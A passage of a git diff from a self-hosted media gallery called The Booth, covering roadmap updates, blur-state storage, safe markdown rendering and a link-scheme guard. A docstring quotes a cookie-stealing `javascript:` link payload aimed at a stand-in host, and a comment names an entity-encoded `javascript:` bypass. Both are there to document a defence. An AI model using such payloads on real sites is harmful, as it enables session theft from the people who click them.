an ephemeral port — the only place U3's placement and `form=` binding can be
observed at all. Browsers are NOT downloaded per project; they live box-wide in
+80 -15
View File
@@ -1,12 +1,23 @@
# The Booth — roadmap
Design: [`docs/design/information-architecture.md`](docs/design/information-architecture.md).
Current version: `1.0.0b1` (**U1 through U7 landed — every v1 capability is
in**; extracted from eshpfi 2026-09-21). **The v1 target is MET and staged as a
beta** (operator, 2026-09-22): feature-complete, external testing, no new
features — the remaining work is bugs. `1.0.0` final is cut when the beta
survives; per the canonical policy an rc would be cut from the same commit,
but a beta may still take fixes.
Current version: `1.0.0b1` (**U1 through U7 landed**; extracted from eshpfi
2026-09-21).
⚠ **THE BETA'S PREMISE IS SUPERSEDED AND THE TAG CANNOT BE UNSAID.**
`v1.0.0b1` was cut 2026-09-22 promising "feature-complete, no new features, the
remaining work is bugs." On 2026-09-23 the operator ruled a flow redesign and
compare mode into the arc, which are emphatically new features. **The tag stays
as written** — it is an immutable record of what was believed at the time, not a
claim about now — and no further pre-release is cut until the arc lands.
Dropping back to an alpha is not available: `1.0.0a2` sorts BELOW `1.0.0b1`, and
versions do not go backwards.
🛑 **RULED 2026-09-23: NO `1.0.0` YET.** Verbatim: *"no v1.0 yet."* The tag
stays at `1.0.0b1`, no further pre-release is cut until the arc lands, and the
arc now includes the flow redesign, compare mode and the Desk revisions still in
flight. Do not cut a release because the suite is green and the roadmap looks
complete — it has looked complete twice already.
## v1 target
@@ -87,7 +98,15 @@ Where it already binds, and what the rule is in each case:
| collection | rule |
|---|---|
| items in a booth | `sorted(rel)` — byte order over the booth-relative path (U1 INV-3) |
| the zoom prev/next ring | the item order, filtered to images — same sequence, one source |
| the review prev/next ring | the item order, **filtered to media** — image, video and audio (`review_chain`, R2). Supersedes `image_chain`, which stays importable and unchanged for its other callers |
| an item's ordinal (`#NN`) | its position in `sorted(rel)` — **counted across ALL items, so `#07` is the same tile under every filter.** This is what makes the operator's "the third one" mean one thing, which the filters had quietly broken (R2) |
| the filmstrip and the tape | the review ring |
| the flag tray | **by ordinal** — the tray reads in the same direction as the grid (R2). The notes list keeps `(created, id)` |
| the Desk's sections | fixed: needs you → new since you looked → everything else (R2) |
| within *needs you* | `(open_since, name)` |
| within *new since you looked* | `(-landed_at, name)` |
| within *everything else* | `(-landed_at, name)`: last updated first, the date each row shows. Was `list_booths`' activity order, which counted a look (operator, 2026-09-23) |
| the Desk's bookmarks column | `order_for_display` — pinned first, then newest |
| caption sidecar resolution | sorted scan, so two media files sharing a stem resolve the same way every time (a real non-determinism U1 removed) |
| marks in a booth | `(created, id)` — time, with the id as tie-break so two marks written in the same second cannot swap |
| legacy ask import | `(mtime, name)`, which is the order `list_asks` gave them |
@@ -100,6 +119,8 @@ Where it already binds, and what the rule is in each case:
| embed anchors in a verbatim report | **document order** — what `querySelectorAll` yields, so the author's markup decides (U3) |
| the embed tail (fragments the author did not place) | **payload order**, which is the marks order `(created, id)` — one rule, whether a fragment lands at an anchor or at the end (U3) |
| questions within a pick | declaration order, in the payload's `questions` LIST — carried by the format rather than by object-key insertion order (U3) |
| the compare filmstrip | **the compare ring**: the review ring (item order, media only) less any rel compare cannot open, so no strip link offers a pair that 404s (r3) |
| compare stepping | along the compare ring, modulo its length; linked moves both sides one place and keeps their distance, unlinked moves the active side only (r3) |
U3's three rows are the first case where the rule binds across a language
boundary: the order is decided in Python and honoured in JavaScript, and a
@@ -121,7 +142,8 @@ gallery booths have a subdirectory.
(section ordering among themselves, compare pairing) resolved differently:
section ordering is MOOT, because U7 renders no section rail — `Item.section`
still exists and is still derived, it simply has no ordered surface. Compare
pairing rode into v1.1 with compare mode itself. **U6's bench listing is
pairing was ruled 2026-09-24: pairs are PICKED, never detected from filenames,
and compare landed with r3 (rows above). **U6's bench listing is
settled** — the row above.
The test for any new ordered surface: *can you write the rule down in one line?*
@@ -143,20 +165,63 @@ weighed against the v1 path and lost on purpose.
| item | why parked |
|---|---|
| **Compare mode** — pair-by-name A/B across subfolders | The best idea in the set, and the only one that is a *new capability* rather than a fix for a measured defect. The four-booth `pancake-v3/v4` dance still works. First thing in v1.1. |
| ~~**Compare mode**~~ — **UNPARKED 2026-09-23, LANDED 2026-09-24 (r3)** | Parked as "the only new capability rather than a fix for a measured defect", and **that deferral was ours and the operator overruled it.** design-dev argued it belongs in this arc because the ladders and bakeoffs already need it; the operator ruled `this_arc`. Lands AFTER the Desk and the reel, as a view toggle over the same item record. Recorded so nobody re-parks it by reading an older rule. |
| Virtualized / progressive grid loading | Speculative. 270 `<img loading="lazy">` may be fine. **Measure the real booth before optimising it** — if it renders inside a second, this is invented work. |
| Bench uptime history + graphs | The v1 need is "is it dead", which one flag answers. A time series is a different product. |
| Cross-booth search | No evidence of the need in the usage data. |
| Per-viewer state (who has seen what) | The Booth has one viewer. Revisit if that stops being true. |
| Auth | Standing non-goal. LAN/mesh-internal. Blur stays cosmetic and says so. |
## Post-v1, already committed
## The design arc — IN SCOPE, not post-v1
- **SVOS theme retrofit by `design-dev`.** Runs as a parallel track, not a v1
gate: we own the information architecture (it is driven by the measurement
above), design-dev owns the visual and interaction system. The handoff is a
`/vor-ui` brief written against the landed v1 structure — the same shape
`hamr-dev` and `pewpew-dev` used.
⚠ **This section used to be "Post-v1, already committed" and it is not post-v1
any more.** The operator's 2026-09-23 rulings put a flow redesign and compare
mode inside the arc, so the work below is part of what ships, not after it.
- **SVOS theme retrofit by `design-dev` — HANDED OFF AND ACCEPTED 2026-09-22**
(althing thread `01M369321KNBPZ7FYDQGZG7AXP`). Runs as a parallel track, not a
v1 gate: we own the information architecture (it is driven by the measurement
above), design-dev owns the visual and interaction system.
🛑 **OPERATOR RULING 2026-09-23 — THE OWNERSHIP BOUNDARY MOVED, AND IT MOVED
OUR WAY OUT.** The first concept round was ruled **NOT ship-as-shown**:
*"He didn't go far enough, still looks like the booth. I want him to consider
the flow and the requirements — design touches, layout, usability all belong
to him."* **Flow, layout, usability and the REQUIREMENTS are design-dev's.**
The information architecture is no longer fenced off from him: what belongs on
which page, what groups with what, what the rail counts and whether a rail is
the right object at all are his calls to propose and build.
⚠ **The fence was OURS, and it is what produced a reskin.** The handoff said
*"what we are not asking for: layout changes driven by information
architecture"*, and design-dev's *"markup changes are class additions only, no
reordering"* was that constraint honoured. The ruling corrects the brief, not
his round. **That paragraph is void — do not restate it.**
What survives is two tiers, deliberately separated because collapsing them is
how we over-fenced the first time. **Tier 1, correctness not taste:**
deterministic order (an operator directive — the RULE may change, but not into
"whatever the layout yields"), autoescape, blur keeps admitting it is
cosmetic, restart discipline. **Tier 2, engineering defaults WE chose and he
may now argue with:** the gallery working with JavaScript off, virtualization
parked, compare mode deferred. Tier 2 disputes go to the operator, not settled
between agents.
⚠ **The `/vor-ui` brief this row used to require was DECLINED, and rightly.**
The row predates `docs/design/information-architecture.md`; with that doc, the
landed templates and the seven handoff constraints in hand, a `/vor-ui` pass
would have cost the operator a serial Q&A to re-derive IA we had already
measured — the exact operator-load this project exists to reduce. The handoff
message is the brief. If the design system ever wants the IA different,
design-dev raises it and we re-measure rather than either side guessing.
Settled with it: **we merge and restart** (the deployment root stays in one
pair of hands); design-dev works on `svos-retheme` in his own clone against a
COPY of `~/booth-data`, never touching `:8090`; a concept round goes to the
OPERATOR before any fixup. Webfonts arrive by Google Fonts `<link>` with
`display=swap` and a system fallback stack — the CDN-free property was
accreted, not an invariant, and self-hosting is a v1.1 item because
`v1.0.0b1` promises no new features.
## Gate
+864 -62
View File
File diff suppressed because it is too large Load Diff
+73
View File
@@ -0,0 +1,73 @@
"""The filesystem's own record of when a directory was created.
The operator asked for creation dates on booths. Only 18 of 30 live booths had
one: `.booth.json` carries a declared `created`, but that file only exists for
booths posted through the CLI since U5, and the twelve older ones had nothing.
The tempting answers were all guesses wearing a fact's clothes — the oldest
content mtime (wrong whenever an agent copies files with timestamps preserved),
or the directory mtime (which is just "last time something was added"). Writing
a first-seen stamp on read was worse still: this service spent an hour today
fixing a cache that aged the booth it cached.
ext4 records a real birth time. CPython 3.13 does not expose `st_birthtime` on
Linux, but `statx(2)` does and glibc has wrapped it since 2.28 — so this reads
a FACT the disk already holds rather than inventing one.
DEGRADES TO None, always: an old kernel, a filesystem that does not record
btime (tmpfs, NFS, some overlayfs), a missing glibc symbol, or anything else
unexpected. A caller that gets None shows nothing, which is the honest output
when nobody knows.
"""
from __future__ import annotations
import ctypes
import ctypes.util
import os
from pathlib import Path
_AT_FDCWD = -100
_STATX_BTIME = 0x00000800
# struct statx: stx_btime is the SECOND statx_timestamp, and the four that
# precede it occupy a fixed 64-byte head (mask, blksize, attributes, nlink,
# uid, gid, mode, spare, ino, size, blocks, attributes_mask), then atime.
_BTIME_SEC_OFFSET = 80
_STATX_BUF_SIZE = 256
def _load():
try:
libc = ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6", use_errno=True)
return libc.statx
except (OSError, AttributeError):
return None
_statx = _load()
def birth_time(path: Path) -> float | None:
"""When the filesystem says this path was created, or None if it cannot say.
NEVER RAISES. `list_booths` calls this once per booth on every index load,
so a read that can raise is a service-wide outage wearing a single-booth
bug's clothes — the posture `read_manifest` already states, applied before
the same mistake rather than after it.
"""
if _statx is None:
return None
try:
buf = ctypes.create_string_buffer(_STATX_BUF_SIZE)
rc = _statx(ctypes.c_int(_AT_FDCWD), os.fsencode(str(path)),
ctypes.c_int(0), ctypes.c_uint(_STATX_BTIME), buf)
if rc != 0:
return None
mask = int.from_bytes(buf.raw[0:4], "little")
if not mask & _STATX_BTIME:
return None # the filesystem does not record it
sec = int.from_bytes(buf.raw[_BTIME_SEC_OFFSET:_BTIME_SEC_OFFSET + 8],
"little", signed=True)
return float(sec) if sec > 0 else None
except Exception: # noqa: BLE001 — see the docstring; nothing here is worth a 500
return None
+232
View File
@@ -0,0 +1,232 @@
"""Per-item blur storage — `.blurred.json`, one JSON array of booth-relative paths.
⚠ STDLIB ONLY (CLAUDE.md invariant 1). `scripts/booth blur` imports this under
the system python3 with no venv, so the service and the CLI share ONE reader,
ONE writer and ONE predicate for what an item path is. The CLI used to keep its
own grep/printf line writer, and two writers of one file is how formats drift.
⚠ COSMETIC ONLY. A blurred item is still served, still in the zip, still on
disk. The Booth has no auth: if a thing must not be SEEN, it must not be in a
booth.
WHY A NEW FILE NAME, NOT A NEW FORMAT IN THE OLD FILE. `.blurred` was one
stripped rel per line, which could not round-trip a rel with a leading space or
a newline (blurring " a.png" blurred "a.png"). A JSON array fixes that, the
`.seen` shape. Writing it into the OLD name would force the reader to sniff
which format it is looking at, and sniffing cannot be made safe: a legacy file
whose one line is an item literally named `["a.png"]` parses as a JSON array and
would blur the neighbour, the very bug this module exists to fix (heid bug-hunt,
3 of 3 arms). So the two formats live at two names and neither is ever guessed:
.blurred.json current. JSON only, never read as lines.
.blurred legacy, READ ONLY, and only while `.blurred.json` is absent.
Lines only, never read as JSON. The first write replaces it.
"""
from __future__ import annotations
import json
import os
import stat
import tempfile
from pathlib import Path
BLUR_FILE = ".blurred.json"
LEGACY_BLUR_FILE = ".blurred"
# A blur set bigger than this is not one this module wrote: a JSON array of
# every rel in a 270-item booth is a few KB. Same bound as `.seen`, and the
# WRITER enforces it too, so the writer can never produce a file the reader
# would refuse and read as nothing.
BLUR_MAX_BYTES = 1 << 20
class BlurUnwritable(Exception):
"""The blur set on disk could not be made to hold what was asked: something
that is not ours is in the way (a directory at the name, a permission), or
the set would outgrow what the reader accepts. A refusal about the STATE ON
DISK, not about the request, so the route answers 409, never 500."""
def check_rel(rel: str) -> str:
"""The one predicate for what a blur entry may be, shared by the route and
the CLI so the two cannot disagree about which items are addressable.
A booth-relative path: not empty, not absolute, no `..` COMPONENT (so
`a..b.png` is a fine name, and `a/../b` is not), and encodable back to the
bytes of a filename. Stored EXACTLY as given otherwise — never stripped.
Raises ValueError; returns `rel` unchanged."""
if not rel or rel.startswith("/") or ".." in rel.split("/"):
raise ValueError(f"not a booth-relative item path: {rel!r}")
if not _encodable(rel):
raise ValueError(f"not a filename this box can hold: {rel!r}")
return rel
def _encodable(rel: str) -> bool:
"""A real filename decodes under surrogateescape to U+DC80..U+DCFF at worst,
which encodes back. A lone U+D800 cannot come from any filename, only from a
planted JSON escape, and would make every later write raise."""
try:
rel.encode("utf-8", "surrogateescape")
except UnicodeEncodeError:
return False
return True
def _read_capped(path: Path) -> bytes | None:
"""A regular file's bytes, or None. Never follows a link, never blocks on a
FIFO, never reads past the cap, never raises."""
try:
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
except OSError:
return None
try:
st = os.fstat(fd)
if not stat.S_ISREG(st.st_mode) or st.st_size > BLUR_MAX_BYTES:
return None
return os.read(fd, BLUR_MAX_BYTES + 1)
except OSError:
return None
finally:
os.close(fd)
def _load(booth: Path) -> set[str]:
"""The blur set, STRICTLY: raises BlurUnwritable for a REGULAR file at
either name that cannot be read as its format (a permission, over the size
cap, not JSON), where `read_blurred` would say "nothing blurred". The
writer builds on this; the renderer on the lenient one. One parse, two
postures, so they cannot disagree about what a file means, only about what
to do when it cannot be read.
Only a regular file can hold a set anyone wrote. A link, a directory or a
FIFO at either name holds nothing to lose, so it reads as empty here too,
and whether the write can then land is `set_blurred`'s postcondition to
judge (a link is replaced; a directory is refused).
ANYTHING at `.blurred.json` means the current format is in charge, and the
legacy file is not consulted, so a stale `.blurred` left beside a newer set
can never speak. Members that are not strings, are empty, or could not be a
filename are skipped: no one could have meant them, and dropping them loses
nothing.
"""
current, legacy = booth / BLUR_FILE, booth / LEGACY_BLUR_FILE
for path in (current, legacy):
try:
st = os.lstat(path)
except FileNotFoundError:
continue
except OSError as exc:
raise BlurUnwritable(f"cannot stat {path.name} in {booth.name!r} ({exc})") from exc
if not stat.S_ISREG(st.st_mode):
return set()
raw = _read_capped(path)
if raw is None:
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")
text = raw.decode("utf-8", "surrogateescape")
if path is legacy:
return {ln.strip() for ln in text.splitlines() if ln.strip()}
try:
data = json.loads(text)
except (ValueError, RecursionError) as exc:
# RecursionError: a deeply nested array blows the parser's stack,
# and it is neither a ValueError nor an OSError (the `.seen` hole).
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc
if not isinstance(data, list):
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not a JSON array")
return {r for r in data if isinstance(r, str) and r and _encodable(r)}
return set()
def read_blurred(booth: Path) -> set[str]:
"""Blurred rels for a booth. Missing, unreadable or malformed -> empty set.
NEVER RAISES and NEVER BLOCKS. `booth_items` calls this for every booth the
Desk renders, and any fleet session can write into a booth, so either file
may be planted: each is opened without following a link and without
blocking, and refused unless it is a regular file of sane size. A damaged
file costs the blur, never the page. The WRITER does not get this leniency;
see `_load`.
"""
try:
return _load(booth)
except BlurUnwritable:
return set()
def _discard(path: Path) -> None:
try:
path.unlink()
except OSError:
pass # judged by the postcondition in set_blurred, not here
def set_blurred(booth: Path, rel: str, on: bool) -> set[str]:
"""Add or remove one rel from the blur set, and return the new set.
`rel` must pass `check_rel` (ValueError otherwise) and is stored EXACTLY as
given. Written as a JSON array in sorted order (CLAUDE.md invariant 6), so
the same set is the same bytes; an empty set removes the file, because an
empty marker is a lie by omission. The first write also retires a legacy
`.blurred`, AFTER the new file is in place, so a crash between the two
leaves the new file in charge.
Atomic replace (CLAUDE.md invariant 5) through a temp file created with
O_EXCL: a crash mid-write cannot leave a shorter, more revealing set, and
`os.replace` swaps a planted symlink out rather than writing through it.
WRITES ARE STRICT. The set it builds on comes from `_load`, which refuses
(BlurUnwritable, nothing changed) where the renderer's reader would say
"nothing blurred": a file it cannot read is never overwritten with a set
that forgot what it held.
SUCCESS IS DEFINED BY THE READER. After writing, `read_blurred` must return
exactly the set asked for; anything else raises BlurUnwritable. That one
check covers a planted directory at either name, a permission, and a race,
without a branch per way the disk can be wrong.
NOT locked. Two writers racing (the operator's click and a session's
`booth blur`) can lose one toggle, as the line format could.
"""
check_rel(rel)
# STRICT, never `read_blurred`: an empty set from a file that could not be
# read would be written back over it, and whatever it held would be gone
# (the `.marks.json` wipe of 2026-09-21; groa: a cross-uid EACCES).
current = _load(booth)
if on:
current.add(rel)
else:
current.discard(rel)
path = booth / BLUR_FILE
legacy = booth / LEGACY_BLUR_FILE
if current:
body = json.dumps(sorted(current), ensure_ascii=False).encode("utf-8", "surrogateescape")
if len(body) > BLUR_MAX_BYTES:
raise BlurUnwritable(
f"{len(current)} blurred items would exceed the {BLUR_MAX_BYTES}-byte "
f"bound the reader accepts; nothing was changed")
try:
fd, tmp = tempfile.mkstemp(prefix=".blurred.", suffix=".tmp", dir=booth)
try:
# mkstemp makes 0600; the line-format writer left 0644, and a
# reader under another uid must still see the set (groa).
os.fchmod(fd, 0o644)
with os.fdopen(fd, "wb") as fh:
fh.write(body)
os.replace(tmp, path)
except BaseException:
_discard(Path(tmp))
raise
except OSError:
pass # judged by the postcondition below
else:
_discard(legacy)
else:
_discard(path)
_discard(legacy)
if read_blurred(booth) != current:
raise BlurUnwritable(
f"the blur set in {booth.name!r} could not be written; is something other "
f"than a file at {BLUR_FILE} or {LEGACY_BLUR_FILE}?")
return current
+246 -15
View File
@@ -15,7 +15,11 @@ See docs/contracts/u1_item_record.contract.md.
from __future__ import annotations
import json
import os
import html as _html
import re
import stat
from dataclasses import dataclass
from pathlib import Path
from typing import Sequence
@@ -27,6 +31,9 @@ except ImportError: # pragma: no cover
_markdown = None
from booth.asks import is_answer_file, is_ask_file
from booth.blur import BLUR_FILE, read_blurred # noqa: F401 (re-exported)
from booth.links import is_safe_href
from booth.thumbs import wants_thumb
# Browser-playable media buckets. Anything else renders as a download link.
IMAGE_EXTS = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".bmp"}
@@ -40,7 +47,18 @@ TEXT_EXTS = {".txt", ".text", ".log"}
CAPTION_MAX = 800 # chars of a sidecar .txt caption we render
DOC_MAX_BYTES = 2 * 1024 * 1024 # above this, a doc is handed back raw, not rendered
BLUR_FILE = ".blurred"
# `BLUR_FILE` and `read_blurred` live in booth/blur.py (stdlib-only, so the CLI
# shares the reader and the writer) and are re-exported from here.
# Booth-level blur: the whole booth is fogged, agent-set at post time or
# toggled by the operator. A MARKER, deliberately not JSON like `.seen` —
# `.seen` is JSON because it holds rels that must round-trip exactly, and a
# boolean has nothing to round-trip. It matches `.forever`, which is the other
# whole-booth flag, so the two read the same way.
BOOTH_BLUR_FILE = ".blurbooth"
# What booth-level blur applies to. Audio has nothing to hide from a glance.
BLURRABLE_KINDS = {"image", "video"}
def classify(name: str) -> str:
@@ -65,16 +83,81 @@ def doc_kind(name: str) -> str | None:
return None
# What a browser ignores in a URL before it reads the scheme: ASCII tab, LF and
# CR anywhere, and C0 controls or space at either end (WHATWG URL parsing).
# Python 3.13's urlsplit, which `is_safe_href` calls, drops the same characters
# itself, so no test here can see these two go; they are stated anyway, because
# the guard's correctness should not rest on one stdlib release's cleanup.
_URL_DROPPED = str.maketrans("", "", "\t\n\r")
_URL_TRIMMED = "".join(map(chr, range(0x21)))
def _browser_href(raw: str) -> str:
"""An href as the browser will act on it: markdown's `&` placeholder put
back, character references decoded ONCE (the browser decodes an attribute
value once), then the characters URL parsing drops. `java&#115;cript:` is
`javascript:` to a browser, and a scheme test that skips this is blind to
it."""
s = raw.replace(_markdown.util.AMP_SUBSTITUTE, "&")
return _html.unescape(s).translate(_URL_DROPPED).strip(_URL_TRIMMED)
if _markdown is not None:
class _UnsafeHrefs(_markdown.treeprocessors.Treeprocessor):
"""Drops every link href `links.is_safe_href` would refuse — the ONE
predicate for "may this be a clickable link on the Booth's origin", the
board's since 2026-09-23. The link keeps its words; it just goes
nowhere. Runs last, after markdown has finished writing hrefs.
`a@href` ONLY, stated so nobody reads more into it: an `img@src` of
`javascript:` or `data:text/html` is inert in every current browser, and
a `data:image/...` picture is a legitimate thing for a doc to carry."""
def run(self, root):
for el in root.iter("a"):
href = el.get("href")
if href is not None and not is_safe_href(_browser_href(href)):
del el.attrib["href"]
def _markdown_renderer():
"""A Markdown instance that treats raw HTML as TEXT.
Python-Markdown passes raw HTML through, and doc.html / booth.html render
the result `|safe` — so a `<script>` in any session's `.md` ran on the
Booth's origin, and a contract that merely QUOTED `<pre>` opened a real one
and swallowed the rest of the doc (design-dev's impeccable run, 2026-09-28).
Operator ruling: ESCAPE raw HTML, not an allowlist; the live docs that carry
tags mean the literal tag. With the block and inline HTML processors gone,
`<` reaches the serializer as text and is escaped there. Fenced and inline
code are untouched: they never went through either processor.
"""
md = _markdown.Markdown(extensions=["fenced_code", "tables", "sane_lists"])
md.preprocessors.deregister("html_block")
md.inlinePatterns.deregister("html")
md.treeprocessors.register(_UnsafeHrefs(md), "booth_unsafe_hrefs", -10)
return md
def render_doc(text: str, kind: str) -> tuple[str, bool]:
"""(rendered, is_html). Markdown → HTML (fenced code, tables, sane lists);
plain text — or markdown when the lib is unavailable — → raw text for <pre>.
"""(rendered, is_html). Markdown → HTML (fenced code, tables, sane lists),
with raw HTML ESCAPED and unsafe link hrefs dropped (see
`_markdown_renderer`); plain text — or markdown when the lib is unavailable
— → raw text for <pre>.
Text is returned RAW on purpose: the template escapes it inside <pre>, and
pre-escaping here would double-encode under Jinja autoescape.
"""
if kind == "markdown" and _markdown is not None:
html = _markdown.markdown(text, extensions=["fenced_code", "tables", "sane_lists"])
return html, True
# BOUNDED, like every other reader of author content here: a doc that
# makes the renderer raise — deep nesting, or a markdown upgrade that
# renames the processors deregistered above — costs that doc its
# formatting and falls back to raw text, which the template escapes.
# It never raises out of the page (heid bug-hunt, 3 of 4 arms).
try:
return _markdown_renderer().convert(text), True
except Exception: # noqa: BLE001 - deliberate
return text, False
return text, False
@@ -95,15 +178,93 @@ class Item:
blurred: bool
doc: str | None
size: int
# R2 C1: the 1-based position in `booth_items` order over ALL items — the
# number the operator means by "the third one". Set in the resolver loop
# and nowhere else (INV-1). APPENDED, never inserted: a mid-dataclass field
# is a positional-construction break.
ordinal: int
# The tile's image source, or None when the original IS the right source
# (vector, video, a type Pillow cannot open, or an image already tile-sized).
# Derived HERE so no template reasons about `kind` to decide — INV-1, which
# is the caption bug in a new field.
thumb: str | None
# The item's OWN per-item blur, apart from the booth's fog: the per-item
# control toggles only this, so it must not offer an un-blur the booth flag
# would override (r2b D2b). From the SAME read as `blurred` — it used to be
# a second `read_blurred` in build_gallery, and a write between the two
# reads could split them (invariant 3). APPENDED, like `ordinal`.
blurred_self: bool
def read_blurred(booth: Path) -> set[str]:
"""Blurred item paths for a booth. Missing file -> empty set."""
# R2 C2: which items have been looked at full size. UI state, not judgment —
# never exposed to sessions, holds nothing. One viewer: this records WHAT was
# seen, never who saw it.
SEEN_FILE = ".seen"
# A seen marker bigger than this is not one this service wrote: a JSON array of
# every rel in a 270-item booth is a few KB.
SEEN_MAX_BYTES = 1 << 20
def read_seen(booth: Path) -> set[str]:
"""Rels seen at full size (R2 C2). A JSON array of strings, because a rel
may hold a leading space or a newline and must round-trip exactly.
NEVER RAISES and NEVER BLOCKS. Any fleet session can write into a booth,
so the marker may be planted: it is opened without following a link and
without blocking (a FIFO with no writer), refused unless it is a regular
file of sane size, and anything unreadable or malformed reads as nothing
seen — a damaged marker costs the tape its memory, never the page.
"""
try:
text = (booth / BLUR_FILE).read_text()
except (OSError, UnicodeDecodeError):
fd = os.open(booth / SEEN_FILE, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
except OSError:
return set()
return {ln.strip() for ln in text.splitlines() if ln.strip()}
try:
st = os.fstat(fd)
if not stat.S_ISREG(st.st_mode) or st.st_size > SEEN_MAX_BYTES:
return set()
raw = os.read(fd, SEEN_MAX_BYTES + 1)
except OSError:
return set()
finally:
os.close(fd)
try:
data = json.loads(raw.decode("utf-8"))
except (UnicodeDecodeError, ValueError, RecursionError):
# RecursionError: a deeply nested array (`[[[[...`) blows the parser's
# stack, and it is neither a ValueError nor an OSError — the same hole
# marks.py, manifest.py and benches.py already close.
return set()
if not isinstance(data, list):
return set()
return {r for r in data if isinstance(r, str)}
def is_booth_blurred(booth: Path) -> bool:
"""Whether the WHOLE booth is blurred.
`lstat`, not `exists()`, and an unreadable answer counts as BLURRED —
the same shape as `is_kept` with the safety inverted, and the inversion is
the point. `is_kept` fails toward keeping because a failed read must not
authorize a delete; this fails toward HIDING, because a failed read must not
reveal something the poster asked to fog. Both directions are "the failure
does not cause the loss".
A SYMLINK counts, dangling or not: somebody put it there to mean blur.
Composes with `.blurred`, never overrides it — turning booth blur off must
not erase an agent's per-item choice, and an override would need a per-item
"unblurred" exception list, which is state nobody can see.
"""
try:
(booth / BOOTH_BLUR_FILE).lstat()
return True
except FileNotFoundError:
return False
except OSError:
return True # cannot tell -> fog it; see above
def _section_of(rel: str) -> str | None:
@@ -197,7 +358,18 @@ def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]
if target is not None:
try:
caption[target] = p.read_text(errors="replace").strip()[:CAPTION_MAX]
# BOUNDED AT THE READ. `read_text()` pulled the whole sidecar
# into memory before the slice trimmed it, so a pathological
# file was a MemoryError — which the OSError handler below does
# not catch — rather than a missing caption.
#
# Deliberately NOT bounded by st_size: a FIFO reports 0 and a
# bound that trusts it inherits what it does not mean, which is
# the hang in persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md.
# The factor of 4 is UTF-8's worst case, so CAPTION_MAX
# characters always survive the byte bound.
with p.open("r", errors="replace") as fh:
caption[target] = fh.read(CAPTION_MAX * 4).strip()[:CAPTION_MAX]
except OSError:
pass
sidecars.add(rel)
@@ -218,14 +390,50 @@ def booth_items(booth: Path) -> list[Item]:
"""
by_rel: dict[str, Path] = {}
for p in booth.rglob("*"):
if not p.is_file() or p.name.startswith("."):
try:
# `is_file` swallows a missing entry but PROPAGATES EACCES: a
# directory that lists but cannot be searched made every stat under
# it raise out of here, and `list_booths` calls this for every
# booth — one such folder took down the index for all of them.
# An entry nobody can stat is not a renderable file. (design-dev)
if not p.is_file():
continue
except OSError:
continue
# ⚠ EVERY path component, not just the filename. `p.name.startswith(".")`
# tested only the leaf, so `.thumbs/a.png` (name `a.png`) sailed through
# as a gallery item — and CLAUDE.md invariant 2 promises a dotfile costs
# nothing in item counts, galleries or zips. That promise was true only
# at the top level until the `.thumbs/` cache made it matter.
#
# BOTH guards, not either: they were written independently for different
# failures and the merge that kept one would have quietly dropped the
# other.
if any(part.startswith(".") for part in p.relative_to(booth).parts):
continue
continue
if is_ask_file(p.name) or is_answer_file(p.name):
continue
by_rel[p.relative_to(booth).as_posix()] = p
rel = p.relative_to(booth).as_posix()
try:
quote(rel, safe="/")
except UnicodeEncodeError:
# A non-UTF-8 filename reaches CPython as a surrogate escape, and
# `quote` raises on it. This used to happen at Item construction,
# OUTSIDE any per-item handler — so one 0xff byte in one filename
# took out that booth's page AND the index for every booth, because
# `list_booths` calls this too. The repo's posture is that a damaged
# file costs its own tile and never the page.
#
# Skipped rather than rescued: a name that cannot be percent-encoded
# cannot be linked, served or zipped either, so there is no item to
# render. Found by the heid bug-hunt panel (hulda), 2026-09-22.
continue
by_rel[rel] = p
caption, sidecars = _resolve_captions(by_rel)
blurred = read_blurred(booth) # ONE read per call, not one per item
booth_blur = is_booth_blurred(booth) # likewise: one stat, not one per item
items: list[Item] = []
for rel in sorted(by_rel):
@@ -236,17 +444,28 @@ def booth_items(booth: Path) -> list[Item]:
size = p.stat().st_size
except OSError:
size = 0
kind = classify(p.name)
items.append(
Item(
rel=rel,
url=quote(rel, safe="/"),
kind=classify(p.name),
kind=kind,
section=_section_of(rel),
group=_group_of(rel),
caption=caption.get(rel),
blurred=rel in blurred,
# Booth blur COMPOSES with the per-item set. Resolved HERE so
# every surface inherits it for free — Desk strip, tiles, tray,
# filmstrip, stage all already read `Item.blurred` and none of
# them learns about the booth flag (INV-1).
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),
doc=doc_kind(p.name),
size=size,
# Counted over items that RENDER: a caption sidecar or a name
# the quote() guard skipped takes no number, so the numbers
# stay contiguous over what the operator can see.
ordinal=len(items) + 1,
thumb=(quote(rel, safe='/') + '?thumb=1') if wants_thumb(rel) else None,
blurred_self=rel in blurred,
)
)
return items
@@ -261,6 +480,18 @@ def image_chain(items: Sequence[Item]) -> list[str]:
return [it.rel for it in items if it.kind == "image"]
# R2 C2: what the review route steps through. ONE LINE: the item order
# filtered to media. It is a declared change to the zoom-ring rule, which was
# images only: a listening set is reviewed the same way a picture set is.
REVIEW_KINDS = ("image", "video", "audio")
def review_chain(items: Sequence[Item]) -> list[str]:
"""The rels of the media items, in item order — the review's prev/next ring,
its filmstrip and its tape."""
return [it.rel for it in items if it.kind in REVIEW_KINDS]
def find_item(items: Sequence[Item], rel: str) -> Item | None:
"""The record for one rel, or None — the zoom/doc route's entry point."""
for it in items:
+42 -1
View File
@@ -60,6 +60,44 @@ def link_entry_id(raw: str) -> str:
return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]
def is_safe_href(url: str) -> bool:
"""Whether a board URL may be rendered as an `href` at all.
⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
standing board and the operator clicks its rows, and nothing guarded the
scheme: `javascript:document.location='http://evil.test/'+document.cookie`
rendered as a clickable link in the Booth's own origin. Found by design-dev
on the way past R2, in code R2 does not touch.
⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
the markdown link regex, because the parens break `](...)`. That is an
accident, not a guard, and a paren-free payload sails straight through. Do
not re-test this with a payload that contains brackets.
`booth_target` already tests the scheme, but for a DIFFERENT question —
which booth a URL names — so it refuses every off-board link too and cannot
